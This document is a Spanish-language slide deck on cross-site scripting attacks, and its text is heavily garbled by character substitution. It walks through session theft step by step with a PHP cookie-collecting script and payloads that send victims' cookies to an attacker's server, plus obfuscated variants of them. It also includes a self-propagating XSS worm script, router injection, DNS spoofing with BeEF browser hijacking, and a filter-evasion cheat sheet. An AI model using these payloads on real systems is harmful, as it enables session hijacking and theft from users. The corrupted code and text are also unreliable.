/ 4oDando HCoo>iesI
/ Secuestro de sesi1n

.:Cl$ssic 3SS :.
*jemplo prNctico de roDo de sesi1n mediante 7SS.
*jemplo prNctico de roDo de sesi1n mediante 7SS.
Aas coo>ies son utiliKadas para manejar las sesiones en los nave6adores weD. Cada usuario
3ue se Hlo6ueaI oDtiene una Onica coo>ie 3ue le sirve de [llave[ para acceder a determinados
lu6ares de la aplicaci1n. Si un atacante consi6ue roDar la [llave[ (secuestrar la sesi1n, podrN
:acerse pasar por la vLctima pudiendo utiliKar tanto su identidad como sus privile6ios.
Aa idea es utiliKar un vector 7SS con el 3ue :acer 3ue el usuario nos envLe su coo>ie de
sesi1n a un servidor soDre el 3ue ten6amos control. #espuFs nos camDiamos la coo>ie en
nuestro nave6ador por la 3ue :emos reciDido de la vLctima < recar6amos la pN6ina weD con la
sesi1n secuestrada.
*n primer lu6ar preparamos el escenario:
SuDimos un 5ic:ero (6raDcoo>ie.p:p, con el si6uiente c1di6o en al6On servidor Dajo nuestro
control:
<?php
Qhandle=;open(&cookielist.txt&D&a&);
;puts(QhandleD&Un&.Q+T9KF&cookie&G.&Un&);
;close(Qhandle);
?>

.:Cl$ssic 3SS :.
Se encar6arN de reco6er las coo>ies < meterlas en un 5ic:ero de teBto llamado coo>ielist.tBt
(c:mod ,
-ara oDtener la coo>ie < enviarla a nuestro servidor podemos utiliKar el si6uiente c1di6o:
*jemplo ":
<script>
var i=new Ema<e();i.src = &http://)lack)ox.ps*.net/protected/<ra)cookie.php?
cookie=&Jdocument.cookie;
</script>
*jemplo !:
<script>document.location=&http://)lack)ox.ps*.net/protected/<ra)cookie.php?cookie=& J
document.cookie
</script>
*l si6uiente paso es emDeDer dic:o c1di6o en un vector 7SS de un servidor vLctima.
http://tiendavirtual.com/pu)lic+html?pa<e+id=!A;orumaction=searchAuser=@9"KC(+/''

.:Cl$ssic 3SS :.
*jemplo ":
http://tiendavirtual.com/pu)lic+html?pa<e+id=!A;orumaction=searchAuser=<script>var i=new
Ema<e();i.src =&http://)lack)ox.ps*.net/protected/<ra)cookie.php?
cookie=&Jdocument.cookie;</script>
*jemplo !:
http://tiendavirtual.com/pu)lic+html?
pa<e+id=!A;orumaction=searchAuser=<script>document.location=&http://http://)lack)ox.ps*.ne
t/protected/<ra)cookie.php?cookie=& J document.cookie</script>
-roDaDlemente el servidor weD ten6a 5iltros para evitar este tipo de in<ecciones tan evidentes.
#e todas manerasM siempre podemos construir mejor el c1di6o para evitarlos. -or ejemploM
podemos utiliKar Strin6.5romC:arCode para la url de nuestro servidor oculto.
&http://)lack)ox.ps*.net/protected/<ra)cookie.php?cookie=& ==> 'trin<.;rom"har"ode
(,%6D,,1D,,1D,,#D57D63D63D27D,%7D23D22D,%3D27D,,,D,#%D61D,,#D,,5D,#,D61D,,%D,%,D,,1D63D,,
#D,,6D,,,D,,1D,%,D22D,,1D,%,D,%%D63D,%!D,,6D23D27D22D,,,D,,,D,%3D,%5D,%,D61D,,#D,%6D,,#D1
!D22D,,,D,,,D,%3D,%5D,%,D1,)

.:Cl$ssic 3SS :.
*jemplo ":
:ttp:;;tiendavirtual.com;puDlicX:tmlRpa6eXid=3_5orumaction=searc:_user=SscriptTvar i=new
0ma6e(,Pi.src
=Strin6.5romC:arCode(3&M"%&M""6M""6M""!M$'M&M&M"%9M"%$M""$M"%"M""&M""'M"%$M"%%M"""M""&
M"""M99M""M"%'M""6M"""M&6M99M"""M"%9M&M""!M""&M"""M""6M"%"M99M""6M"%"M"%%M&M"%3M""&M9M
9'M99M"""M"""M"%M"%$M"%"M&6M""!M"%&M""!M63M99M"""M"""M"%M"%$M"%"M6"M3&,
Gdocument.coo>iePS;scriptT
*jemplo !:
:ttp:;;tiendavirtual.com;puDlicX:tmlR
pa6eXid=3_5orumaction=searc:_user=SscriptTdocument.location=Strin6.5romC:arCode(3&M"%
&M""6M""6M""!M$'M&M&M"%9M"%$M""$M"%"M""&M""'M"%$M"%%M"""M""&M"""M99M""M"%'M""6M"""M&6M9
9M"""M"%9M&M""!M""&M"""M""6M"%"M99M""6M"%"M"%%M&M"%3M""&M9M9'M99M"""M"""M"%M"%$M"%"M&
6M""!M"%&M""!M63M99M"""M"""M"%M"%$M"%"M6"M3&, G document.coo>ieS;scriptT
U despuFs pasamos a @eBadecimal (:ttp:;;centricle.com;tools;ascii/:eB;, la construcci1n del
vector 7SS completo.

.:Cl$ssic 3SS :.
*jemplo ":
http://tiendavirtual.com/pu)lic+html?pa<e+id=!A;orumaction=searchAuser=!c
3!1!3#123%36!e311,3##%12!d1e1533#%621d
1,1315#7#2!)12#e3!3#1!#%!d5!363#121e13#e
113#1;1d6!171,3#6!1;1615#7!!!6#c!,!%!6#c
!,!,!1#c!,!,!1#c!,!,!##c!5!7#c!6!3#c!6!3#c
!,!%!2#c!,!%!5#c!,!,!5#c!,!%!,#c!,!,!6#c
!,!,!7#c!,!%!5#c!,!%!%#c!,!,!,#c!,!,!6#c
!,!,!,#c!2!2#c!,!,!3#c!,!%!7#c!,!,!1#c
!,!,!,#c!6!1#c!2!2#c!,!,!,#c!,!%!2#c!6!3#c
!,!,!##c!,!,!6#c!,!,!,#c!,!,!1#c!,!%!,#c
!2!2#c!,!,!1#c!,!%!,#c!,!%!%#c!6!3#c
!,!%!!#c!,!,!6#c!2!3#c!2!7#c!2!2#c!,!,!,#c
!,!,!,#c!,!%!3#c!,!%!5#c!,!%!,#c!6!1#c
!,!,!##c!,!%!6#c!,!,!##c!1!!#c!2!2#c
!,!,!,#c!,!,!,#c!,!%!3#c!,!%!5#c!,!%!,#c
!1!,#c!!!6#2#)161;1!351d151e36#e1!1;1;1)
1215!)!c#;3!1!3#123%36!e

.:Cl$ssic 3SS :.
*jemplo !:
http://tiendavirtual.com/pu)lic+html?pa<e+id=!A;orumaction=searchAuser=!c
3!1!3#123%36!e161;1!351d151e36#e1c1;
1!1,36121;1e!d5!363#121e13#e113#1;1d
6!171,3#6!1;1615#7!!!6#c!,!%!6#c!,!,!1#c
!,!,!1#c!,!,!##c!5!7#c!6!3#c!6!3#c!,!%!2#c
!,!%!5#c!,!,!5#c!,!%!,#c!,!,!6#c!,!,!7#c
!,!%!5#c!,!%!%#c!,!,!,#c!,!,!6#c!,!,!,#c
!2!2#c!,!,!3#c!,!%!7#c!,!,!1#c!,!,!,#c
!6!1#c!2!2#c!,!,!,#c!,!%!2#c!6!3#c!,!,!##c
!,!,!6#c!,!,!,#c!,!,!1#c!,!%!,#c!2!2#c
!,!,!1#c!,!%!,#c!,!%!%#c!6!3#c!,!%!!#c
!,!,!6#c!2!3#c!2!7#c!2!2#c!,!,!,#c!,!,!,#c
!,!%!3#c!,!%!5#c!,!%!,#c!6!1#c!,!,!##c
!,!%!6#c!,!,!##c!1!!#c!2!2#c!,!,!,#c
!,!,!,#c!,!%!3#c!,!%!5#c!,!%!,#c!1!,#c
!!!6#2#%#)#%161;1!351d151e36#e1!1;1;1)
1215!c#;3!1!3#123%36!e

.:Cl$ssic 3SS :.
Ao si6uiente es compartir la Q4A (in6enierLa social, o in<ectar el c1di6o de 5orma persistente en
un servidor vulneraDle. Aas vLctimas enviarNn sus coo>ies de sesi1n sin saDerlo a nuestro
servidor oculto < serNn reco6idas en el 5ic:ero de teBto [coo>ielist.tBt[
-or OltimoM para secuestrar la sesi1n de la vLctimaM solo :a< 3ue camDiar las coo>ies de
nuestro nave6ador (H*ditCoo>ieI )ire5oB, por las 3ue :emos reciDido en el servidor oculto.
4ecuerda 3ue las coo>ies eBpiran
Con re5rescar la weD serN su5iciente para oDtener la nueva identidad

.:3SS Pro=2 :.

.:3SS Pro=2 :.
Aa idea de utiliKar un HproB<I para llevar a caDo un ata3ue 7SS permite al atacante tener cierta
ventaja a la :ora de HejecutarI las in<ecciones de c1di6o malicioso soDre una aplicaci1n weD.
Aos ejemplos de in<ecciones 7SS soDre aplicativos weD 3ue :emos visto :asta a:oraM
6eneralmente se realiKan de 5orma directa (direct/lin>,M entre el atacante < el servidor vLctima.
(un3ue i6ual de e5ectivo en la 5inalidadM desde un punto de vista mNs elaDoradoM :acerlo de
Fsta manera impide llevar a caDo procesos muc:o mNs complejos de [o5uscaci1n[ de los datos
3ue se envLan.
*ste punto es importanteM por3ue cuando un atacante Dusca posiDles vectores para introducir
su c1di6o malicioso en una aplicaci1n weD a travFs de coneBiones directasM es proDaDle 3ue
va<a dejando un rastro identi5icaDle en sus peticionesM soDre su identidad;procedencia o 3ue
pueda ser detectado por un 0#S Dien con5i6urado.
-or eso estaDlecer uno o varios puntos HintermediosI entre el atacante < la vLctima puede ser
mu< Dene5icioso para el primero de amDosM <a 3ue le permite adoptar diversas estrate6ias para
:acer lle6ar el c1di6o malicioso de 5orma mNs di5Lcil de detectar.
Aa tFcnica permite utiliKar directamente a las vLctimas como HproB<sI

.:3SS Pro=2 :.
*s3uema de un escenario comOn de ata3ue mediante HproB<sI:

.:3SS Pro=2 :.
4a6er (nton :a comDinado las tFcnicas de eBplotaci1n de c1di6o /javascript/ de 5orma remota
< el CS4)M para crear una :erramienta de ata3ue 3ue utiliKa un sitio weD vulneraDle de 7SS <
una vLctimaM para ejecutar un vector de ata3ue.
-ara ello :a creado una :erramienta en HperlI llamada 7SS/-roB< (Jin3!,:
http://source;or<e.net/pro-ects/xss=prox*
Aa idea principal de la :erramienta es 3ue crea un Hcontrol remotoIM interactivo < de dos
direcciones (two/wa<s, con la vLctimaM 3ue puede ser mu< Otil para el atacante como canal de
datos para enviar comandos <;o controlar el nave6ador de sus vLctimas.
2enemos una eBplicaci1n de un ata3ue avanKado con la :erramienta en el si6uiente enlace:
http://xss=prox*.source;or<e.net/8dvanced+/''+"ontrol.txt
U a3uL una eBplicaci1n con diapositivas mu< elaDorada creada por S:moocon:
http://xss=prox*.source;or<e.net/shmoocon=/''=>rox*.ppt

.:3SS Pro=2 :.
0ma6en del panel de control de la :erramienta 7SS/-roB<:

.:3SS S-ell :.

.:3SS S-ell :.
Aa idea de utiliKar una Hs:ellI para apo<ar un ata3ue 7SS permite al atacante interactuar en
tiempo realM de manera 3ue puede enviar < reciDir respuestas de la vLctima de una sola veK < a
travFs de un intuitivo inter5aK 6rN5ico.
-odemos considerar una 7SS S:ell como una Hpuerta traseraI o un practico manejador de
nave6adores /KomDie/.
Aa :erramienta viene empa3uetada junto a otra llamada 7SS/2unnelin6 (.?*2, en la direcci1n:
http://la)s.portcullis.co.uk/download/xssshell=xsstunnell.[ip
7SSX2unnelin6 es como se de5ine al tOnel de trN5ico @22- 3ue viaja a travFs de un canal 7SS
aDierto (:ttp:;;www.portcullis/securit<.com;uplds;w:itepapers;7SS2unnellin6.pd5,.
Aa comDinaci1n de amDas permite al atacante realiKar una serie de in<ecciones 3ue pueden
servirleM por ejemploM para:
/ 4oDar a la vLctima sus credenciales en una autenticaci1n HDasicI
/ @acer un HD<passI de 5iltros 0- en paneles administrativos
/ 4ealiKar ata3ues ##oS
/ (cadir in<ecciones propias creadas en /javascript/

7SS S:ell estN creada en H(S-I < con una Dase de datos de H9S (ccessI detrNs (Jin3!,.

.:3SS S-ell :.
Aas caracterLsticas mNs importantes de una 7SS S:ell son:
/ H4e6eneraI pN6inas en tiempo real:

7SS S:ell re/renderiKa la pN6ina weD in5ectada < mantiene al usuario activo en un entorno
virtual mientras esta 5uncionando. *so permite al atacante controlar cada Hclic>I 3ue :ace el
usuario en la weD vulneraDle (sin restricciones de camDio de dominio,.
/ 9antiene sesiones aDiertas:
-ermite al atacante se6uir manteniendo el control soDre el nave6ador de la vLctima a pesar de
3ue Fsta <a :a<a aDandonado la pN6ina weD vulneraDle. (evita el timeout,
/ (ctOa como Ze<loo6er:
-ermite reco6er todas las pulsaciones de teclado 3ue realiKa el nave6ador de la vLctima.
/ (ctOa como 9ouse Ao66er (clic> points G current #89,
-ermite reco6er los lu6ares donde :ace Hclic>I el usuario en su nave6adorM mNs el es3uema
#89 3ue estN utiliKando (similar a ver un screens:ot de su pantalla,.

.:3SS S-ell :.
(demNs contiene una serie de comandos pre/estaDlecidos para:
/ 4eco6er la coo>ie de sesi1n
/ *jecutar cual3uier javascript con *val (,
/ 4eco6er la in5ormaci1n del porta/papeles de la vLctima (solo en 0*,
/ 4eco6er la direcci1n 0- interna (solo EC9 G )ire5oB,
/ 4eco6er el :istorial de Q4A's visitadas por la vLctima.

.:3SS S-ell :.
*jemplo de ata3ue con 7SS 2unnel G 7SS S:ell:
". *l atacante con5i6ura el servidor 7SS S:ell en su mN3uina local < lo ejecuta
!. #espuFs con5i6ura el 7SS 2unnel para ser usado con el servidor 7SS S:ell
3. ( continuaci1n HpreparaI un vector de ata3ue en al6On sitio vulneraDle
&. *jecuta el 7SS 2unnel < espera a 3ue una vLctima cai6a en el vector anterior
$. Con5i6ura el nave6ador para usar el 7SS 2unnel
6. Cuando comprueDa 3ue una de las vLctimas se conecta al 7SS 2unnelM comienKa a
utiliKar 7SS S:ell
. Ao si6uiente es utiliKar la :erramienta

.:A@$= <=ploit$tion :.

.:ACA3 <=ploit$tion :.
Eavascript asLncrono < 79A ((E(7, es una de las Oltimas tecnolo6Las usadas por
desarrolladores weD para Drindar una eBperiencia de nave6aci1n similar a traDajar en [local[. (l
ser una tFcnica novedosa aOn eBisten al6unas caracterLsticas de se6uridad 3ue no :an sido
mu< estudiadas:
/ (l eBistir mNs /inputs/ :a< mNs puntos 3ue prote6er
/ Aas 5unciones internas se encuentran eBpuestas
/ ?o contiene mecanismos de codi5icaci1n Dien de5inidos cuando un cliente accede a
determinados recursos
/ ?o es mu< se6uro a la :ora de prote6er la in5ormaci1n de sesiones < autenticaciones
CulneraDilidades en el oDjeto 79A@22-4e3uest
(E(7 utiliKa el 79A@22-4e3uest para manejar toda la comunicaci1n con la parte del servidor
de la aplicaci1n. Cuando un cliente envLa una petici1n a una Q4A especL5ica en el mismo
servidor 3ue contiene la pN6ina ori6inal < puede reciDir di5erentes respuestas. *s mu< Otil para
dar ciertas [capacidades[ a los usuarios dentro de una aplicaci1n weD. (demNs
79A@22-4e3uest puede recopilar in5ormaci1n de prNcticamente todos los servidores en la
weDM lo 3ue permite aDrir di5erentes vectores < tFcnicas de ata3ue mediante su uso (S3l
0njectionsM 7SSM...,

.:ACA3 <=ploit$tion :.
CulneraDilidades 7SS utiliKando (jaB:
Aas peticiones (E(7 < el 5uncionamiento del nave6ador son similares. -or tanto el servidor no
puede di5erenciarlas. *so si6ni5ica 3ue tampoco puede saDer 3ue peticiones se :acen en
[Dac>6round[. -or ejemploM un pro6rama en /javascript/ puede usar (E(7 para solicitar un
recurso 3ue se encuentra en el Dac>6roundM sin necesidad de 3ue el usuario se de cuenta. *l
nave6ador acadirN de 5orma automNtica todo lo necesario para la autenticaci1n o para enviar
mas peticionesM en caso de 3ue 5uera necesario. *ste tipo de eBpansi1n incrementa Dastante la
posiDilidad de ata3ue mediante 7SS.
( travFs de (E(7M un atacante puede lanKar in<ecciones soDre pN6inas especL5icas di5erentes
a las 3ue el usuario estN viendo. Qn vector 7SS puede usar peticiones (E(7 para in<ectarse a
si mismo de manera mu< sencillaM < re/in<ectar mNs vectores. (l6o asL como un virusM <
ademNsM sin la necesidad de tener 3ue [re5rescar[ la weD.

.:ACA3 <=ploit$tion :.
*jemplo de propa6aci1n [invisiDle[ a travFs de mOltiples peticiones @22-:
<script>alert(&'"T%2&)</script>
<script>document.location=Ihttp://tiendavirtual.com/pa<ina,.pl?I#%Jdocument.cookie</script>
C1di6o in<ectado:
http://tiendavirtual.com/lo<in.php?
varia)le=&><script>document.location=Ihttp://e-emplo#.com/;oro.php?IJdocument.cookie</script>
*l c1di6o redireccionarN la pN6ina a un sitio eBternoM 3ue contiene a su veK otra pN6ina con
c1di6o malicioso justamente despuFs de :aDerse [lo6ueado[ en la pN6ina ori6inal desde la cual
se :iKo la petici1n.
(jaB +rid6in6:
-or medidas de se6uridadM las aplicaciones (E(7 solamente dejan conectarse desde el weDsite
desde el 3ue proceden. *s decirM /javascript/ con (jaB descar6ado desde una weD (M no puede
realiKar coneBiones soDre una weD + (eBterna a la primera,. -ara permitirlo se utiliKan los
servicios [Drid6e[ (puente,. *l [puente[ actOa como proB< soDre el servidor JeD para
[5orwardear[ el trN5ico entre el /javascript/ del lado del cliente < la weD eBterna. *s comoM un
servicio weDM para la propia pN6ina weD. Qn atacante puede usar esta [capacidad[ para acceder
a Nreas restrin6idas.
#ene6aci1n de servicio con (E(7: <ELT '("=&http://tiendavirtual.com/c<i=)in/scriptx.c<i?a=)&>

.:3SS Virus E Wor/s :.

.:3SS Virus E Wor/s :.
#enominamos 7SS Cirus al c1di6o in<ectado 3ue se auto/propa6a mediante la introducci1n de
c1di6o dentro de la aplicaci1n weD (normalmente 7SS persistente, < 3ue se ejecuta a travFs de
los nave6adores;per5iles de los usuarios. ?o es necesario 3ue sea una relaci1n " a ".
?ormalmente los virus residen < se ejecutan en el mismo sistema. Aa ejecuci1n del c1di6o
malicioso ocurre en el nave6ador del clienteM a travFs del c1di6o 3ue reside en el servidor.
Aas in5ecciones a travFs de 7SS ocurren 6eneralmente con la si6uiente metodolo6La:
/*l servidor es in5ectado con un c1di6o persistente 3ue se auto/propa6a pero no se ejecuta.
/*l nave6ador es in5ectado por el c1di6o
/*l c1di6o in<ectado es car6ado desde el sitio weD vulneraDle en el nave6ador de la vLctima
< ejecutado
/Qna veK ejecutadoM el c1di6o HDuscaI nuevas 5ormas de propa6aci1n < trata de se6uir
ejecutando el c1di6o malicioso primario.
06ual 3ue los virus convencionalesM suelen utiliKar vectores.
Qn atacante puede lanKar ata3ues ##oSM reenviar spam o ejecutar eBploits soDre nave6adores.

.:3SS Virus E Wor/s :.
(ta3ue a 9<space: Vusano 3ue aprovec:a un vector 7SS G (E(7:
HSam<I utiliKaDa un vector permitido en los per5iles de los usuarios (SscriptT, de la weD de
9<space. ( travFs de (E(7 in<ecta un virus dentro del per5il de cual3uier usuario 3ue estuviera
visitando la pN6ina in5ectadaM < 5uerKa al usuario a visitarlo para acadir al usuario [Sam<[ dentro
de su lista de contactos.
(parecLan las letras [Sam< is m< :ero[ en todos los per5iles de las vLctimas < tuvo una
propa6aci1n mu< alta en mu< poco tiempo.
4e6istro de propa6aci1n: "%;%&M "!:3& pm: 3 ;; $ :ours laterM 6:!% pm: "M%%$M'3"
(ta3ue a Ua:oo! 9ail Server: Vusano 3ue aprovec:a un vector 7SS G (E(7:
*l 6usano HUammanerI utiliKa un vector 7SS con (E(7 para tomar ventaja de una vulneraDilidad
en el evento [onload[ del portal. Cuando un email in5ectado era aDiertoM el 6usano ejecutaDa su
c1di6o /javascript/ maliciosoM enviando una copia de si mismo a todos los contactos de Ua:oo
del usuario in5ectado. *l email in5ectado utiliKaDa una direcci1n [spoo5eada[ tomada de otras
vLctimasM lo 3ue :acLa al usuario poder [pensar[ 3ue se trataDa de un email de al6uno de sus
contactos (in6enierLa social,.

.:3SS Virus E Wor/s :.
*jemplo de virus 7SS aprovec:ando un vector vulneraDle [Vet 4e3uest[.
*l c1di6o es in<ectado de 5orma permanente en el servidor. Cuando es ejecutado en el
nave6ador comienKa su auto/propa6aci1n Aos nave6adores 3ue son in5ectados conectan a
sitios weD aleatorios en Dusca de mNs servidores vulneraDles con el vector [Vet 4e3uest[.
-ara crear el escenario usamos un pN6ina en -@- vulneraDle. Aa weD acepta un valor de
parNmetro (param, < lo escriDe en un 5ic:ero (5ile.tBt,. *ste 5ic:ero es devuelto en la petici1n al
nave6ador. *l 5ic:ero contiene el valor previo del parNmetro [param[. Si el parNmetro no es
pasadoM el 5ic:ero de teBto no serN actualiKado. *l c1di6o de la pN6ina vulneraDle (0ndeB.p:p, es:
<?php
Qp=QMKK>+T9K+@8('FcparamcG;
Q;ilename = ../;ile.txt;
i; (Qp S= .) O
Qhandle=;open(Q;ilenameD .w));
;puts(QhandleD Qp);
;close(Qhandle);
P
Qhandle = ;open(Q;ilenameD .r);
Qcontents = ;read(QhandleD ;ilesi[e(Q;ilename));
;close(Qhandle);
print Qcontents;
?>

.:3SS Virus E Wor/s :.
Aa weD vulneraDle se encuentra en mOltiples servidores virtuales ("%.%.%.%;!&,. *l c1di6o
malicioso se encuentra en un script eBterno (Bssv.jsp,
Cector de ata3ue:
<i;rame name=i;ramex id=i;ramex src=hidden st*le=displa*:none>
</i;rame>
<script '("=http://rootshell.)e/_ps*/protected/xssv.-s></script>
*l 5ic:ero /javascript/ 3ue :ace la petici1n es el si6uiente (Bssv.jsp,:
;unction loadE;rame(i;rameVameD url) O
i; ( window.;ramesFi;rameVameG ) O
window.;ramesFi;rameVameG.location = url;
return ;alse;
P
else return true;
P
;unction do+reNuest() O
var ip = <et+random+ip();
var exploit+strin< = I<i;rame name=&i;rame#& id=&i;rame#& I J
Isrc=&hidden& st*le=&displa*:none&></i;rame> I J
I<script '("=&http://rootshell.)e/_ps*/protected/xssv.-s&></script>I;

.:3SS Virus E Wor/s :.
loadE;rame(Ii;rame#ID
&http://& J ip J &/index.php?param=& J exploit+strin<);
P
;unction <et+random()
O
var ranVum= Lath.round(Lath.random()Z#55);
return ranVum;
P
;unction <et+random+ip()
O
return &,%.%.%.&J<et+random();
P
setEnterval(&do+reNuest()&D ,%%%%);
*l c1di6o se auto/propa6a utiliKando un i5rame 3ue es recar6ado de 5orma peri1dica a travFs de
la 5unci1n load05rame(,. Aa direcci1n 0- del oDjetivo se selecciona de 5orma aleatoria de la
direcci1n de suDred "%.%.%.%;!& a travFs de la 5unci1n 6etXrandomXip(,. *l virus utiliKa una
comDinaci1n de amDas 5unciones para invocarlas de 5orma continua < peri1dica a travFs de la
5unci1n set0nterval (,. *jecutando el vector de ata3ueM tratarN de in5ectar a todas las direcciones
de la suDred. 2erminarN cuando :a<a :ec:o todas las prueDas. Cuando sucedaM el nave6ador
dejarN de ejecutar el c1di6o. *n un escenario real no sucederLa i6ual.

.:Router @$c7ing :.

.:Router @$c7ing :.
(demNs de poder in<ectar c1di6o malicioso en aplicaciones weDM tamDiFn es posiDle tratar de
modi5icar el 5uncionamiento :aDitualM de por ejemploM un router.
#esde la red localM un atacante puede modi5icar las peticiones 3ue realiKaM de i6ual manera 3ue
si actuara en la weD.
Cemos la in<ecci1n de c1di6o en enrutador convencional (+*)J""S& v& (5irmware: ".$!.%!,,
-arNmetro vulneraDle:
Most Vame (txt+hostVame)
>W<ina inicial:
http://Frouter ipG/index.htm
C1di6o in<ectado:
http://FrouteripG/To[ila.c<i?setup.htm=#55Asel+wan"onnK*pe=#Atxt+hostVame=#3!9
!"script!9alert('"T%2)!"#$script!9
*n el ejemploM es necesario poner los parNmetros [setup.:tm=[ < [selXwanConn2<pe=[ para
3ue la in<ecci1n se lleve de 5orma correcta. Qn atacante puede utiliKar 7SS para tratar de :acer
un HD<passI a las credenciales de con5i6uraci1n del router < tomar el control de la red.

.:WA8 ?roFser 9i@$c7ing :.

.:WA8 ?roFser 9i@$c7ing :.
-odemos comDinar las in<ecciones 7SS con otro tipo de tFcnicasM para por ejemploM tomar el
control de los nave6adores de los usuarios de una red J(?.
*l escenario es el si6uiente:
/ *l atacante irrumpe en la red local de la;s vLctima;s
/ *nvena la c:ac:e dns de la red
/ Venera una pN6ina weD HvulneraDleI 3ue suplante a otra :aDitual (6oo6le.com,
/ Aos usuarios 3ue soliciten 6oo6le.comM en realidad se conectarNn al servidor del atacante
deDido al HpoisonI de las taDlas #?S.
/ *l atacante ejecuta H+ee5I como 5ramewor> en su mN3uina < espera a 3ue se conecten
las vLctimas.
/ Cuando una vLctima ejecuta el c1di6o malicioso (:oo>,M el atacante reciDe al instante un
aviso en el 5ramewor> de 3ue tiene un /KomDie/ online.
/ 9ientras la vLctima prosi6ue su nave6aci1nM el atacante puede realiKar di5erentes tFcnicas
de 5orma mu< sencilla < casi automatiKada a travFs del 5ramewor>.

.:WA8 ?roFser 9i@$c7ing :.
9etodolo6La prNctica del ata3ue:
", *l atacante irrumpe en la red local de la;s vLctima;s
Ua sea por3ue conoce la clave de accesoM o por3ue consi6ue crac>ear el al6oritmo de ci5rado
(J*-;J-(..,.
!, *nvena la c:ac:e #?S de la red
( travFs de la :erramienta liDre H*ttercapI (:ttp:;;ettercap.source5or6e.net;, de V?Q;AinuBM el
atacante puede enviar respuestas #?S (#omain ?ame Server, Hspoo5eadasI 3ue consi6an
redireccionar las peticiones de las vLctimas a un servidor de su contro (local o remoto,
Cideo eBplicativo: http://www.iron<eek.com/videos/dns=spoo;in<=with=ettercap=pharmin<.sw;

.:WA8 ?roFser 9i@$c7ing :.
3, Venera una pN6ina weD HvulneraDleI 3ue suplante a otra :aDitual (6oo6le.com,
&, Aos usuarios 3ue soliciten 6oo6le.comM en realidad se conectarNn al servidor del
atacante deDido al HpoisonI de las taDlas #?S.
*l atacante :a insertado en el H5a>eI de 6oo6le un c1di6o 7SS 3ue aDre un canal de
comunicaci1n de ida < vuelta con la vLctimaM a travFs de un 5ramewor>.

.:WA8 ?roFser 9i@$c7ing :.
$, *l atacante ejecuta H+ee5I como 5ramewor> en su mN3uina < espera a 3ue se conecten
las vLctimas. ( travFs del H:oo>I : Dee5ma6ic.js.p:p
http://)indshell.net/)ee;
Cideo eBplicativo: http://)indshell.net/tools/)ee;/)ee;=ipe.htm

.:WA8 ?roFser 9i@$c7ing :.
6, 9ientras la vLctima prosi6ue su nave6aci1nM el atacante puede realiKar di5erentes
tFcnicas de 5orma mu< sencilla < casi automatiKada a travFs del 5ramewor>.
2utorial de uso de KomDies:
http://)indshell.net/tools/)ee;//tutorials/[om)ies.html
2utorial de uso de modulos:
http://)indshell.net/tools/)ee;//tutorials/modules.html
*jemplo de datos recopilados de la vLctima:

.:3SS C-e$ts > ,uBB Vectors :.

.:3SS C-e$ts > ,uBB Vectors :.
/Cector normal sin evasi1n de 5iltros:
<'"(E>K '("=http://,#3.%.%.,></'"(E>K>
/Cector clNsico con caracteres de Q4A encodin6:
//==></'"(E>K>&>I><'"(E>K>alert('trin<.;rom"har"ode(77D7!D7!))</'"(E>K>
/Cector simpli5icado. Si no tenemos demasiado espacio. 9irar el c1di6o despuFs de in<ectar <
Duscar [S7SS verses _ltP7SS para ver si es vulneraDle:
II;S==&</''>=AO()P
/Cector en 0ma6en utiliKando la directiva javascript (?o 5unciona en 0*.%,:
<ELT '("=&-avascript:alert(I/''I);&>
/0dFntico pero sin usar comillas ni punto < coma (?o 5unciona en 0*.%,
<ELT '("=-avascript:alert(I/''I)>
/Cector utiliKando [casesensitive[ (?o 5unciona en 0*.%,:
<ELT '("=Xa@a'c(i>t:alert(I/''I)>

.:3SS C-e$ts > ,uBB Vectors :.
/Cector [:tml entities[ (?o 5unciona en 0*.%,:
<ELT '("=-avascript:alert(ANuot;/''ANuot;)>
/Cector con o5uscaci1nM utiliKando la comilla 6rave (k, / *ncapsula las comillas simples < doDles
por si estan 5iltradas. (?o 5unciona en 0*.%,:
<ELT '("=d-avascript:alert(&I/''I&)d>
/Cector de [ta6s 09V mal5ormados[:
<ELT &&&><'"(E>K>alert(&/''&)</'"(E>K>&>
/Cector [5romC:arCode[ con 5iltros de comillas simples < doDles. 4ealiKamos un eval(, al
5romC:aCode para 5ormar el c1di6o (?o 5unciona en 0*.%,:
<ELT '("=-avascript:alert('trin<.;rom"har"ode(7!D13D3,D67D53)>
/Cector [Q2)' Qnicode *ncodin6[ (?o 5unciona en 0*.%,:
<ELT
'("=A\,%1;A\23;A\,,7;A\23;A\,,5;A\22;A\,,6;A\,%5;A\,,#;A\,,1;A\57;A\23;A\,%7;A\,
%,;A\,,6;A\,,1;A\6%;A\!2;A\77;A\7!;A\7!;A\!2;A\6,;>

.:3SS C-e$ts > ,uBB Vectors :.
/Cector [Q2)' Qnicode *ncodin6 lar6a sin punto < coma[ (P, (?o 5unciona en 0*.%,
*n ocasiones e5ectivo cuando los 5iltros Duscan [_^77P[M paddin6 / suDir caracteres numericos
totales,. 0deal contra 5iltros 3ue decodi5ican contra strin6s tipo $tmpXstrin6 =l s;.Wb_^(bdG,P.W;$";P
asumiendo de 5orma incorrecta 3ue un punto < coma es necesario para terminar la in<eccion
encodeada de :tml.
<ELT
'("=A\%%%%,%1A\%%%%%23A\%%%%,,7A\%%%%%23A\%%%%,,5A\%%%%%22A\%%%%,,6A\%%%%,%
5A\%%%%,,#A\%%%%,,1A\%%%%%57A\%%%%%23A\%%%%,%7A\%%%%,%,A\%%%%,,6A\%%%%,,1A\%
%%%%6%A\%%%%%!2A\%%%%%77A\%%%%%7!A\%%%%%7!A\%%%%%!2A\%%%%%6,>
/Cector [codi5icaci1n :eBadecimal sin punto < coma[ (?o 5unciona en 0*.%,
*n ocasiones e5ectivo cuando los 5iltros utiliKan strin6 tipo $tmpXstrin6 =l s;.Wb_^(bdG,P.W;$";P el
cual asume 3ue eBiste un caracter numFrico si6uiendo al sLmDolo de dolarM 3ue no coincide si se
constru<e con caracteres :tml en :eBadecimal.
<ELT
'("=A\x18A\x1,A\x31A\x1,A\x3!A\x1!A\x3#A\x12A\x3%A\x36A\x!8A\x1,A\x1"A\x15
A\x3#A\x36A\x#7A\x#3A\x57A\x5!A\x5!A\x#3A\x#2>
/Cector [taDulaci1n emDeDida[ (?o 5unciona en 0*.%,
<ELT '("=&-av ascript:alert(I/''I);&>

.:3SS C-e$ts > ,uBB Vectors :.
/Cector [taDulaci1n emDeDida encodeada[ (?o 5unciona en 0*.%,
<ELT '("=&-avA\x%2;ascript:alert(I/''I);&>
/Cector [nueva linea emDeDida[ (?o 5unciona en 0*.%,
Solo %9 (taD :oriKontal,M "% (linea nueva, < "3 (retorno de carro, 5uncionan en decimal.
<ELT '("=&-avA\x%8;ascript:alert(I/''I);&>
